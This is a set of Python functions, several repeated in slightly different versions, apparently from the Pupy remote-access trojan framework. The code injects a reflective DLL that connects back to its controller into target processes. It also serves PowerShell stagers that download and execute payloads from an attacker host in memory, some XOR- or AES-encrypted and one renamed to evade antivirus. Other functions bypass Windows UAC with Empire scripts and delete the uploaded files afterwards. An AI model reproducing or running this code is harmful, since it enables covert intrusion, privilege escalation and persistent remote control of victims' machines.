def uploadPupyDLL(self, force_x86_dll=False): ''' Upload pupy dll as a txt file ''' res = self.module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':', 1) logging.debug("Address configured is %s:%s for pupy dll..." % (host, port)) logging.debug("Looking for process architecture...") if "64" in self.module.client.desc["os_arch"] and not force_x86_dll: logging.debug("Target achitecture is x64, using a x64 dll") dllbuff = pupygen.get_edit_pupyx64_dll( self.module.client.get_conf()) else: logging.debug("Target achitecture is x86, using a x86 dll") dllbuff = pupygen.get_edit_pupyx86_dll( self.module.client.get_conf()) logging.debug("Creating the pupy dll in %s locally" % (self.pupyDLLLocalPath)) with open(self.pupyDLLLocalPath, 'w+') as w: w.write('$PEBytes = [System.Convert]::FromBase64String("%s")' % (base64.b64encode(dllbuff))) logging.debug("Uploading pupy dll in {0}".format( self.pupyDLLRemotePath)) upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath)
def run(self, args): dllbuf=b"" isProcess64bits=False #TODO automatically fill ip/port self.client.load_package("psutil") self.client.load_package("pupwinutils.processes") self.success("looking for configured connect back address ...") res=self.client.conn.modules['pupy'].get_connect_back_host() host, port=res.rsplit(':',1) self.success("address configured is %s:%s ..."%(host,port)) self.success("looking for process %s architecture ..."%args.pid) if self.client.conn.modules['pupwinutils.processes'].is_process_64(args.pid): isProcess64bits=True self.success("process is 64 bits") dllbuff=pupygen.get_edit_pupyx64_dll(host, port) else: self.success("process is 32 bits") dllbuff=pupygen.get_edit_pupyx86_dll(host, port) self.success("injecting DLL in target process %s ..."%args.pid) self.client.conn.modules['pupy'].reflective_inject_dll(args.pid, dllbuff, isProcess64bits) self.success("DLL injected !") self.success("waiting for a connection from the DLL ...") while True: c=has_proc_migrated(self.client, args.pid) if c: self.success("got a connection from migrated DLL !") c.desc["id"]=self.client.desc["id"] break time.sleep(0.1) try: self.client.conn.exit() except Exception: pass
def uploadPupyDLL(self): ''' Returns True if no error. Otherwise returns False ''' res = self.module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':', 1) logging.info("Address configured is %s:%s for pupy dll..." % (host, port)) logging.info("Looking for process architecture...") if self.module.client.conn.modules[ 'pupwinutils.processes'].is_x64_architecture() == True: logging.info("Target achitecture is x64, using a x64 dll") dllbuff = pupygen.get_edit_pupyx64_dll( self.module.client.get_conf()) elif self.module.client.conn.modules[ 'pupwinutils.processes'].is_x86_architecture() == True: logging.info("Target achitecture is x86, using a x86 dll") dllbuff = pupygen.get_edit_pupyx86_dll( self.module.client.get_conf()) else: self.module.error( "Target architecture is unknown (!= x86 or x64), abording...") return False logging.info("Creating the pupy dll in %s locally" % (self.pupyDLLLocalPath)) with open(self.pupyDLLLocalPath, 'w+') as w: w.write('$PEBytes = [System.Convert]::FromBase64String("%s")' % (base64.b64encode(dllbuff))) logging.info("Uploading pupy dll in {0}".format( self.pupyDLLRemotePath)) upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath) return True
def migrate(module, pid, keep=False): module.client.load_package("psutil") module.client.load_package("pupwinutils.processes") dllbuf = b"" isProcess64bits = False module.success("looking for configured connect back address ...") res = module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':', 1) module.success("address configured is %s:%s ..." % (host, port)) module.success("looking for process %s architecture ..." % pid) if module.client.conn.modules['pupwinutils.processes'].is_process_64(pid): isProcess64bits = True module.success("process is 64 bits") dllbuff = pupygen.get_edit_pupyx64_dll(module.client.get_conf()) else: module.success("process is 32 bits") dllbuff = pupygen.get_edit_pupyx86_dll(module.client.get_conf()) module.success("injecting DLL in target process %s ..." % pid) module.client.conn.modules['pupy'].reflective_inject_dll( pid, dllbuff, isProcess64bits) module.success("DLL injected !") if keep: return module.success("waiting for a connection from the DLL ...") while True: c = has_proc_migrated(module.client, pid) if c: module.success("got a connection from migrated DLL !") c.desc["id"] = module.client.desc["id"] break time.sleep(0.1) try: module.client.conn.exit() except Exception: pass
def migrate(module, pid, keep=False): module.client.load_package("psutil") module.client.load_package("pupwinutils.processes") dllbuf=b"" isProcess64bits=False module.success("looking for configured connect back address ...") res=module.client.conn.modules['pupy'].get_connect_back_host() host, port=res.rsplit(':',1) module.success("address configured is %s:%s ..."%(host,port)) module.success("looking for process %s architecture ..."%pid) if module.client.conn.modules['pupwinutils.processes'].is_process_64(pid): isProcess64bits=True module.success("process is 64 bits") dllbuff=pupygen.get_edit_pupyx64_dll(module.client.get_conf()) else: module.success("process is 32 bits") dllbuff=pupygen.get_edit_pupyx86_dll(module.client.get_conf()) module.success("injecting DLL in target process %s ..."%pid) module.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits) module.success("DLL injected !") if keep: return module.success("waiting for a connection from the DLL ...") while True: c=has_proc_migrated(module.client, pid) if c: module.success("got a connection from migrated DLL !") c.desc["id"]=module.client.desc["id"] break time.sleep(0.1) try: module.client.conn.exit() except Exception: pass
def do_GET(self): if self.path == "/p": self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() pe_bootloader = (textwrap.dedent(""" iex (New-Object System.Net.WebClient).DownloadString("http://%s:%s/rpi") $path="b64" if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8){$path="b32"} [Byte[]]$b=(New-Object System.Net.WebClient).DownloadData("http://%s:%s/"+$path) Invoke-ReflectivePEInjection -PEBytes $b """ % (self.server.link_ip, self.server.link_port, self.server.link_ip, self.server.link_port))) self.wfile.write(pe_bootloader) print colorize("[+] ", "green") + " powershell script stage1 served !" elif self.path == "/rpi": #serve the powershell script self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write( open( os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1")).read()) print colorize( "[+] ", "green" ) + " powershell Invoke-ReflectivePEInjection.ps1 script served !" elif self.path == "/b32": #serve the pupy 32bits dll to load from memory self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.end_headers() print colorize("[+] ", "green") + " generating x86 reflective dll ..." self.wfile.write(get_edit_pupyx86_dll(self.server.payload_conf)) print colorize("[+] ", "green") + " pupy x86 reflective dll served !" elif self.path == "/b64": #serve the pupy 64bits dll to load from memory self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.end_headers() print colorize("[+] ", "green") + " generating amd64 reflective dll ..." self.wfile.write(get_edit_pupyx64_dll(self.server.payload_conf)) print colorize("[+] ", "green") + " pupy amd64 reflective dll served !" else: self.send_response(404) self.end_headers() return
def do_GET(self): if self.path=="/p": self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() pe_bootloader=(textwrap.dedent(""" $rpi=[System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString("http://%s:%s/rpi")) for($i=0; $i -lt $rpi.count ; $i++) { $rpi[$i] = $rpi[$i] -bxor %s } iex([System.Text.Encoding]::UTF8.GetString($rpi)) $path="b64" if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8){$path="b32"} [Byte[]]$b=(New-Object System.Net.WebClient).DownloadData("http://%s:%s/"+$path) for($i=0; $i -lt $b.count ; $i++) { $b[$i] = $b[$i] -bxor %s } Invoke-ReflectivePEInjection -ForceASLR -PEBytes $b -Verbose """%(self.server.link_ip, self.server.link_port, hex(self.server.xor_key), self.server.link_ip, self.server.link_port, hex(self.server.xor_key)))) self.wfile.write(pe_bootloader) print colorize("[+] ","green")+" powershell script stage1 served !" elif self.path=="/rpi": #serve the powershell script self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() code=open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1")).read() self.wfile.write(base64.b64encode(xor_bytes(code, self.server.xor_key))) print colorize("[+] ","green")+" powershell Invoke-ReflectivePEInjection.ps1 script served !" elif self.path=="/b32": #serve the pupy 32bits dll to load from memory self.send_response(200) self.send_header('Content-type','application/octet-stream') self.end_headers() print colorize("[+] ","green")+" generating x86 reflective dll ..." self.wfile.write(xor_bytes(get_edit_pupyx86_dll(self.server.payload_conf)), self.server.xor_key) print colorize("[+] ","green")+" pupy x86 reflective dll served !" elif self.path=="/b64": #serve the pupy 64bits dll to load from memory self.send_response(200) self.send_header('Content-type','application/octet-stream') self.end_headers() print colorize("[+] ","green")+" generating amd64 reflective dll ..." self.wfile.write(xor_bytes(get_edit_pupyx64_dll(self.server.payload_conf), self.server.xor_key)) print colorize("[+] ","green")+" pupy amd64 reflective dll served !" else: self.send_response(404) self.end_headers() return
def do_GET(self): if self.path=="/p": self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() pe_bootloader=PS1_DECRYPT+"\n"+(textwrap.dedent(""" $p="%s" $rpi=(((New-Object System.Net.WebClient).DownloadData("http://%s:%s/rpi"))) $path="b64" if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8){$path="b32"} $raw=([Byte[]]((New-Object System.Net.WebClient).DownloadData("http://%s:%s/"+$path))) iex([System.Text.Encoding]::UTF8.GetString( (AES-Decrypt $rpi $p))) Write-Output "DLL received" $raw=AES-Decrypt $raw $p Write-Output "Reflective DLL decrypted" [GC]::Collect() %s -ForceASLR -PEBytes $raw #-Verbose """%(self.server.aes_key, self.server.link_ip, self.server.link_port, self.server.link_ip, self.server.link_port, self.server.random_reflectivepeinj_name))) self.wfile.write(pe_bootloader) print colorize("[+] ","green")+" powershell script stage1 served !" elif self.path=="/rpi": #serve the powershell script self.send_response(200) #self.send_header('Content-type','text/html') self.send_header('Content-type','application/octet-stream') self.end_headers() code=open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read() code=code.replace("Invoke-ReflectivePEInjection", self.server.random_reflectivepeinj_name) # seems to bypass some av like avast :o) d=aes_encrypt(code, self.server.aes_key) self.wfile.write(d) print colorize("[+] ","green")+" powershell Invoke-ReflectivePEInjection.ps1 script served !" elif self.path=="/b32": #serve the pupy 32bits dll to load from memory self.send_response(200) self.send_header('Content-type','application/octet-stream') self.end_headers() print colorize("[+] ","green")+" generating x86 reflective dll ..." self.wfile.write(aes_encrypt(get_edit_pupyx86_dll(self.server.payload_conf), self.server.aes_key)) print colorize("[+] ","green")+" pupy x86 reflective dll served !" elif self.path=="/b64": #serve the pupy 64bits dll to load from memory self.send_response(200) self.send_header('Content-type','application/octet-stream') self.end_headers() print colorize("[+] ","green")+" generating amd64 reflective dll ..." self.wfile.write(aes_encrypt(get_edit_pupyx64_dll(self.server.payload_conf), self.server.aes_key)) print colorize("[+] ","green")+" pupy amd64 reflective dll served !" else: self.send_response(404) self.end_headers() return
def do_GET(self): if self.path=="/p": self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() pe_bootloader=(textwrap.dedent(""" iex (New-Object System.Net.WebClient).DownloadString("http://%s:%s/rpi") $path="b64" if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8){$path="b32"} [Byte[]]$b=(New-Object System.Net.WebClient).DownloadData("http://%s:%s/"+$path) Invoke-ReflectivePEInjection -PEBytes $b """%(self.server.link_ip, self.server.link_port, self.server.link_ip, self.server.link_port))) self.wfile.write(pe_bootloader) print colorize("[+] ","green")+" powershell script stage1 served !" elif self.path=="/rpi": #serve the powershell script self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() self.wfile.write(open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1")).read()) print colorize("[+] ","green")+" powershell Invoke-ReflectivePEInjection.ps1 script served !" elif self.path=="/b32": #serve the pupy 32bits dll to load from memory self.send_response(200) self.send_header('Content-type','application/octet-stream') self.end_headers() print colorize("[+] ","green")+" generating x86 reflective dll ..." self.wfile.write(get_edit_pupyx86_dll(self.server.payload_conf)) print colorize("[+] ","green")+" pupy x86 reflective dll served !" elif self.path=="/b64": #serve the pupy 64bits dll to load from memory self.send_response(200) self.send_header('Content-type','application/octet-stream') self.end_headers() print colorize("[+] ","green")+" generating amd64 reflective dll ..." self.wfile.write(get_edit_pupyx64_dll(self.server.payload_conf)) print colorize("[+] ","green")+" pupy amd64 reflective dll served !" else: self.send_response(404) self.end_headers() return
def uploadPupyDLL(self, force_x86_dll=False): ''' Upload pupy dll as a txt file ''' res=self.module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':',1) logging.debug("Address configured is %s:%s for pupy dll..."%(host,port)) logging.debug("Looking for process architecture...") if "64" in self.module.client.desc["os_arch"] and not force_x86_dll: logging.debug("Target achitecture is x64, using a x64 dll") dllbuff=pupygen.get_edit_pupyx64_dll(self.module.client.get_conf()) else: logging.debug("Target achitecture is x86, using a x86 dll") dllbuff=pupygen.get_edit_pupyx86_dll(self.module.client.get_conf()) logging.debug("Creating the pupy dll in %s locally"%(self.pupyDLLLocalPath)) with open(self.pupyDLLLocalPath, 'w+') as w: w.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff))) logging.debug("Uploading pupy dll in {0}".format(self.pupyDLLRemotePath)) upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath)
def uploadPupyDLL(self): ''' Returns True if no error. Otherwise returns False ''' res=self.module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':',1) logging.info("Address configured is %s:%s for pupy dll..."%(host,port)) logging.info("Looking for process architecture...") if self.module.client.conn.modules['pupwinutils.processes'].is_x64_architecture() == True: logging.info("Target achitecture is x64, using a x64 dll") dllbuff=pupygen.get_edit_pupyx64_dll(self.module.client.get_conf()) elif self.module.client.conn.modules['pupwinutils.processes'].is_x86_architecture() == True: logging.info("Target achitecture is x86, using a x86 dll") dllbuff=pupygen.get_edit_pupyx86_dll(self.module.client.get_conf()) else: self.module.error("Target architecture is unknown (!= x86 or x64), abording...") return False logging.info("Creating the pupy dll in %s locally"%(self.pupyDLLLocalPath)) with open(self.pupyDLLLocalPath, 'w+') as w: w.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff))) logging.info("Uploading pupy dll in {0}".format(self.pupyDLLRemotePath)) upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath) return True
def bypassuac_through_trusted_publisher_certificate(module, rootPupyPath): ''' Performs a bypass UAC attack by utilizing the trusted publisher certificate through process injection. ''' module.client.load_package("psutil") module.client.load_package("pupwinutils.processes") remoteTempFolder=module.client.conn.modules['os.path'].expandvars("%TEMP%") changeMeTag = "$$$CHANGE_ME$$$" #First powershell script executed by Invoke-BypassUAC mainPowerShellScript = """ cat $$$CHANGE_ME$$$\Invoke-BypassUAC.txt | Out-String | iex Invoke-BypassUAC -Command 'powershell.exe -ExecutionPolicy Bypass -file $$$CHANGE_ME$$$\secdPowerShellScriptPrivileged.ps1' -Verbose """ #Second powershell script executed by first main script (privileged) secdPowerShellScriptPrivileged = """ cat $$$CHANGE_ME$$$\Invoke-ReflectivePEInjection.txt | Out-String | iex cat $$$CHANGE_ME$$$\dllFile.txt | Out-String | iex Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR """ mainPowerShellScriptPath = os.path.join(gettempdir(),'mainPowerShellScript.txt') logging.info("Creating the main Powershell script in %s locally"%(mainPowerShellScriptPath)) f = open(mainPowerShellScriptPath,'w+') f.write(mainPowerShellScript.replace(changeMeTag, remoteTempFolder)) f.close() secdPowerShellScriptPrivilegedPath = os.path.join(gettempdir(),'secdPowerShellScriptPrivileged.txt') logging.info("Creating the second Powershell script in %s locally"%(secdPowerShellScriptPrivilegedPath)) f = open(secdPowerShellScriptPrivilegedPath,'w+') f.write(secdPowerShellScriptPrivileged.replace(changeMeTag, remoteTempFolder)) f.close() logging.info("Uploading powershell code for DLL injection...") upload(module.client.conn, os.path.join(rootPupyPath,"pupy", "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), module.client.conn.modules['os.path'].join(remoteTempFolder,'Invoke-ReflectivePEInjection.txt')) logging.info("Uploading powershell code for UAC Bypass...") upload(module.client.conn, os.path.join(rootPupyPath,"pupy", "external", "Empire", "privesc", "Invoke-BypassUAC.ps1"), module.client.conn.modules['os.path'].join(remoteTempFolder,'Invoke-BypassUAC.txt')) logging.info("Uploading main powershell script...") upload(module.client.conn, mainPowerShellScriptPath, module.client.conn.modules['os.path'].join(remoteTempFolder,'mainPowerShellScript.ps1')) logging.info("Uploading second powershell script...") upload(module.client.conn, secdPowerShellScriptPrivilegedPath, module.client.conn.modules['os.path'].join(remoteTempFolder,'secdPowerShellScriptPrivileged.ps1')) res=module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':',1) logging.info("Address configured is %s:%s for pupy dll..."%(host,port)) logging.info("Looking for process architecture...") if module.client.conn.modules['pupwinutils.processes'].is_x64_architecture() == True: logging.info("Target achitecture is x64, using a x64 dll") dllbuff=pupygen.get_edit_pupyx64_dll(module.client.get_conf()) elif module.client.conn.modules['pupwinutils.processes'].is_x86_architecture() == True: logging.info("Target achitecture is x86, using a x86 dll") dllbuff=pupygen.get_edit_pupyx86_dll(module.client.get_conf()) else: module.error("Target architecture is unknown (!= x86 or x64), abording...") return pupyDLLPath = os.path.join(gettempdir(),'dllFile.txt') remotePupyDLLPath = module.client.conn.modules['os.path'].join(remoteTempFolder,'dllFile.txt') logging.info("Creating the pupy dll in %s locally"%(pupyDLLPath)) f = open(pupyDLLPath,'w+') f.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff))) f.close() logging.info("Uploading pupy dll...") upload(module.client.conn, pupyDLLPath, remotePupyDLLPath) output = module.client.conn.modules.subprocess.check_output("PowerShell.exe -ExecutionPolicy Bypass -File %s"%(module.client.conn.modules['os.path'].join(remoteTempFolder,'mainPowerShellScript.ps1')), stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True) logging.info("BypassUAC script output: %s"%(output)) if "DLL injection complete!" in output: module.success("UAC bypassed") else: module.warning("Impossible to know what's happened remotely") module.success("Waiting for a connection from the DLL (take few seconds)...")
def do_GET(self): if self.path == "/p": self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() pe_bootloader = (textwrap.dedent(""" $rpi=[System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString("http://%s:%s/rpi")) for($i=0; $i -lt $rpi.count ; $i++) { $rpi[$i] = $rpi[$i] -bxor %s } iex([System.Text.Encoding]::UTF8.GetString($rpi)) $path="b64" if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8){$path="b32"} [Byte[]]$b=(New-Object System.Net.WebClient).DownloadData("http://%s:%s/"+$path) for($i=0; $i -lt $b.count ; $i++) { $b[$i] = $b[$i] -bxor %s } Invoke-ReflectivePEInjection -ForceASLR -PEBytes $b -Verbose """ % (self.server.link_ip, self.server.link_port, hex(self.server.xor_key), self.server.link_ip, self.server.link_port, hex(self.server.xor_key)))) self.wfile.write(pe_bootloader) print colorize("[+] ", "green") + " powershell script stage1 served !" elif self.path == "/rpi": #serve the powershell script self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() code = open( os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1")).read() self.wfile.write( base64.b64encode(xor_bytes(code, self.server.xor_key))) print colorize( "[+] ", "green" ) + " powershell Invoke-ReflectivePEInjection.ps1 script served !" elif self.path == "/b32": #serve the pupy 32bits dll to load from memory self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.end_headers() print colorize("[+] ", "green") + " generating x86 reflective dll ..." self.wfile.write( xor_bytes(get_edit_pupyx86_dll(self.server.payload_conf)), self.server.xor_key) print colorize("[+] ", "green") + " pupy x86 reflective dll served !" elif self.path == "/b64": #serve the pupy 64bits dll to load from memory self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.end_headers() print colorize("[+] ", "green") + " generating amd64 reflective dll ..." self.wfile.write( xor_bytes(get_edit_pupyx64_dll(self.server.payload_conf), self.server.xor_key)) print colorize("[+] ", "green") + " pupy amd64 reflective dll served !" else: self.send_response(404) self.end_headers() return
def bypassuac_through_trusted_publisher_certificate(module, rootPupyPath): ''' Performs a bypass UAC attack by utilizing the trusted publisher certificate through process injection. ''' module.client.load_package("psutil") module.client.load_package("pupwinutils.processes") #Define Remote paths remoteTempFolder = module.client.conn.modules['os.path'].expandvars( "%TEMP%") invokeReflectivePEInjectionRemotePath = "{0}.{1}".format( module.client.conn.modules['os.path'].join( remoteTempFolder, next(_get_candidate_names())), '.txt') invokeBypassUACRemotePath = "{0}.{1}".format( module.client.conn.modules['os.path'].join( remoteTempFolder, next(_get_candidate_names())), '.ps1') mainPowershellScriptRemotePath = "{0}.{1}".format( module.client.conn.modules['os.path'].join( remoteTempFolder, next(_get_candidate_names())), '.ps1') pupyDLLRemotePath = "{0}.{1}".format( module.client.conn.modules['os.path'].join( remoteTempFolder, next(_get_candidate_names())), '.txt') #Define Local paths mainPowerShellScriptPrivilegedLocalPath = os.path.join( gettempdir(), 'mainPowerShellScriptPrivileged.txt') invokeBypassUACLocalPath = os.path.join(rootPupyPath, "pupy", "external", "Empire", "privesc", "Invoke-BypassUAC.ps1") invokeReflectivePEInjectionLocalPath = os.path.join( rootPupyPath, "pupy", "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1") invokeBypassUACLocalPath = os.path.join(rootPupyPath, "pupy", "external", "Empire", "privesc", "Invoke-BypassUAC.ps1") pupyDLLLocalPath = os.path.join(gettempdir(), 'dllFile.txt') #Constants bypassUACcmd = "Invoke-BypassUAC -Command 'powershell.exe -ExecutionPolicy Bypass -file {0} -Verbose'".format( mainPowershellScriptRemotePath ) #{0}=mainPowerShellScriptPrivileged.ps1 byPassUACSuccessString = "DLL injection complete!" #main powershell script executed by bypassuac powershell script mainPowerShellScriptPrivileged = """ cat {0} | Out-String | iex cat {1} | Out-String | iex Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR """ #{0}=Invoke-ReflectivePEInjection.txt and {1}=dllFile.txt logging.info("Creating the Powershell script in %s locally" % (mainPowerShellScriptPrivilegedLocalPath)) with open(mainPowerShellScriptPrivilegedLocalPath, 'w+') as w: w.write( mainPowerShellScriptPrivileged.format( invokeReflectivePEInjectionRemotePath, pupyDLLRemotePath)) logging.info("Uploading powershell code for DLL injection in {0}".format( invokeReflectivePEInjectionRemotePath)) upload(module.client.conn, invokeReflectivePEInjectionLocalPath, invokeReflectivePEInjectionRemotePath) #logging.info("Uploading powershell code for UAC Bypass in {0}".format()) #upload(module.client.conn, invokeBypassUACLocalPath, invokeBypassUACRemotePath) logging.info( "Uploading main powershell script executed by BypassUAC in {0}".format( mainPowerShellScriptPrivilegedLocalPath)) upload(module.client.conn, mainPowerShellScriptPrivilegedLocalPath, mainPowershellScriptRemotePath) res = module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':', 1) logging.info("Address configured is %s:%s for pupy dll..." % (host, port)) logging.info("Looking for process architecture...") if module.client.conn.modules['pupwinutils.processes'].is_x64_architecture( ) == True: logging.info("Target achitecture is x64, using a x64 dll") dllbuff = pupygen.get_edit_pupyx64_dll(module.client.get_conf()) elif module.client.conn.modules[ 'pupwinutils.processes'].is_x86_architecture() == True: logging.info("Target achitecture is x86, using a x86 dll") dllbuff = pupygen.get_edit_pupyx86_dll(module.client.get_conf()) else: module.error( "Target architecture is unknown (!= x86 or x64), abording...") return logging.info("Creating the pupy dll in %s locally" % (pupyDLLLocalPath)) with open(pupyDLLLocalPath, 'w+') as w: w.write('$PEBytes = [System.Convert]::FromBase64String("%s")' % (base64.b64encode(dllbuff))) logging.info("Uploading pupy dll in {0}".format(pupyDLLRemotePath)) upload(module.client.conn, pupyDLLLocalPath, pupyDLLRemotePath) content = re.sub("Write-Verbose ", "Write-Output ", open(invokeBypassUACLocalPath, 'r').read(), flags=re.I) logging.info( "Starting BypassUAC script with the following cmd: {0}".format( bypassUACcmd)) output = execute_powershell_script(module, content, bypassUACcmd) logging.info("BypassUAC script output: %s\n" % (output)) if byPassUACSuccessString in output: module.success("UAC bypassed") else: module.warning( "Impossible to know what's happened remotely. You should active debug mode." ) for aFile in [ invokeReflectivePEInjectionRemotePath, invokeBypassUACRemotePath, mainPowershellScriptRemotePath, pupyDLLRemotePath ]: logging.info("Deleting remote file {0}".format(aFile)) output = module.client.conn.modules.subprocess.check_output( "DEL /F /Q \"{0}\"".format(aFile), stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True) logging.debug("Delete Status: {0}".format(repr(output))) module.success( "Waiting for a connection from the DLL (take few seconds)...")